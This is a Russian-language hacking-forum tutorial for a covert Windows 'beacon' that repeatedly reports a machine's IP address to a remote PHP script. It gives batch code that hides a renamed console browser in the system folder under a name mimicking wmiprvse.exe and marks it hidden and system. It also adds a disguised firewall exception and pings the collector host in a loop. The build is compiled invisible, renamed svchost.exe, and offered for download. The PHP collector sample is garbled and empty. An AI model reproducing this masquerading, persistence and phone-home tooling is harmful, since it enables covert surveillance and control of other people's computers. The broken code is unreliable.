В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы
узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее .
К делу.
Сначала принцип:
Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.
Решение:
Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.
Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:
Код:
links.exe http://google.com
Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.
Создание такого файла является простым - достаточно создать лоадер браузера:
Код:
"%CD%\wmiprvse.exe" %1
Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wm
iprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wm
ipvrse.exe".
Теперь, создадим саму стучалку:
Код:
copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep
Работа очень проста:
сперва мы скопируем сам браузер в системную папочку,
далее сделаем ее системно-скрытой,
добавим браузер в исключения файрволла,
а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).
Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.
Теперь вооружимся компилятором бат-файлов (его можно найти здесь -
/thread175086.html) и компилируем данный скрипт, с параметрами:
Код:
- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files
также не забываем добавить в билд сам браузер (wm
ipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:
Код:
svchost.exe http://lovim-ip.ru/ip.php
Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Тайм-аут соединения со скриптом редактируем тут - "
ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.
Браузер
"Links" (собранный в один файл и не собранный) -
Links.zip
Готовая
"звонилка" -
Svchost.exe
(запуск:
svchost.exe http://adres-php-skripta.com/skript.php)